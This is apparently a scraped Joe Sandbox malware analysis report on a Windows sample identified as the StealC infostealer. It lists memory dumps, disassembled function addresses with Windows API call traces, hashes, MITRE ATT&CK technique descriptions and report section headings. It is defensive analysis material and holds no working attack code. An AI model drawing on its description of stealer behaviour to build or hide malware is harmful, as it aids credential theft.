Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: cc9ce9e6ee6ddae8804b00417948868fff04fa46de1f709363e7083bd5395ac0
Instruction ID: 6d957af6572b69ffdae4ffa927f33fcce5df715b20d072493b2048bbf28636ad
Opcode Fuzzy Hash: cc9ce9e6ee6ddae8804b00417948868fff04fa46de1f709363e7083bd5395ac0
Instruction Fuzzy Hash: A2F06934F00208FBDB20DEA4DC18FAEB7F9AB48310F21C254EA91A72C4DA7596008B50

Function 00DFC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00DFC74E

Part of subcall function 00DFBF9F: __amsg_exit.LIBCMT ref: 00DFBFAF

__getptd.LIBCMT ref: 00DFC765
__amsg_exit.LIBCMT ref: 00DFC773
__updatetlocinfoEx_nolock.LIBCMT ref: 00DFC797

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 71ca922e7d8a71707d3b51c24646a8e1095c9e7aeec4134f5d5dec8c60337b0d
Instruction ID: 7fff97b43733d334436f56b55935f516305b2def4e0f9bd117f504ff066576ac
Opcode Fuzzy Hash: 71ca922e7d8a71707d3b51c24646a8e1095c9e7aeec4134f5d5dec8c60337b0d
Instruction Fuzzy Hash: 98F0907291430C9BD720BBB89D06B7A33A0EF00735F2BD14AF744AA1D2DB645990DE76

Function 00DF4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DF8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00DF8E0B

lstrcat.KERNEL32(?,00000000), ref: 00DF4F7A
lstrcat.KERNEL32(?,00E01070), ref: 00DF4F97
lstrcat.KERNEL32(?,019786C0), ref: 00DF4FAB
lstrcat.KERNEL32(?,00E01074), ref: 00DF4FBD

Part of subcall function 00DF4910: wsprintfA.USER32 ref: 00DF492C
Part of subcall function 00DF4910: FindFirstFileA.KERNEL32(?,?), ref: 00DF4943

Part of subcall function 00DF4910: StrCmpCA.SHLWAPI(?,00E00FDC), ref: 00DF4971
Part of subcall function 00DF4910: StrCmpCA.SHLWAPI(?,00E00FE0), ref: 00DF4987
Part of subcall function 00DF4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00DF4B7D
Part of subcall function 00DF4910: FindClose.KERNEL32(000000FF), ref: 00DF4B92

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 37bb4a1bbedef7642e9d99fe36edaee88e0e34a94c304446006d1c022e33e7bd
Instruction ID: 4449cc0008ea4fe21374c391efa08b5fa422ba5b740b157a115c0b35c53724e8
Opcode Fuzzy Hash: 37bb4a1bbedef7642e9d99fe36edaee88e0e34a94c304446006d1c022e33e7bd
Instruction Fuzzy Hash: BD218B7AA00308ABC774FB60DC46EEE733CEB54300F108554F69997585DEB996C88BB1

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00DF9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00DE45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00DE4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00DF9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00DE6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00DF5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00DF17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00DF7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 00DF69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00DF6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00DE47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00DF51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Function 00DE1220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON